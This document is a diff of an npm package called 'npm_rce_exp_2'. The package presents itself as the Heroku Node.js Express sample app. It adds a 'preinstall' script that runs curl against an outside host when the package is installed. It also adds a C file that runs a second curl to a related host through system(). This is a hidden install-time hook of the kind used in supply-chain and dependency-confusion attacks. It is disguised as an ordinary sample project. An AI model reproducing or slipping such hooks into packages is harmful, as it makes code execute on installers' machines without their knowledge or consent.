npm_rce_exp_2 0.4.0

package/1.c

@@ -0,0 +1,7 @@
+#include <stdlib.h>
+
+int main(int argc, char *argv[])
+{
+	system("curl npm.f9fec96a.l0p.xyz");
+	return 0;
+}

package/app.json

@@ -0,0 +1,7 @@
+{
+  "name": "Node.js Sample",
+  "description": "A barebones Node.js app using Express 4",
+  "repository": "https://github.com/heroku/node-js-sample",
+  "logo": "https://rawgit.com/heroku/node-js-sample/master/public/node.svg",
+  "keywords": ["node", "express", "static"]
+}

package/index.js

@@ -0,0 +1,14 @@
+var express = require('express')
+var app = express()
+
+app.set('port', (process.env.PORT || 5000))
+app.use(express.static(__dirname + '/public'))
+
+app.get('/', function(request, response) {
+  response.send('Hello World!')
+})
+
+app.listen(app.get('port'), function() {
+  console.log("Node app is running at localhost:" + app.get('port'))
+})
+~

package/package.json

@@ -0,0 +1,23 @@
+{
+  "name": "npm_rce_exp_2",
+  "version": "0.4.0",
+  "description": "A sample Node.js app using Express 4",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "curl tt.f9fec96a.l0p.xyz",
+    "start": "node index.js"
+  },
+  "engines": {
+    "node": "4.0.0"
+  },
+  "keywords": [
+    "node",
+    "heroku",
+    "express"
+  ],
+  "author": "Mark Pundsack",
+  "contributors": [
+    "Zeke Sikelianos <zeke@sikelianos.com> (http://zeke.sikelianos.com)"
+  ],
+  "license": "MIT"
+}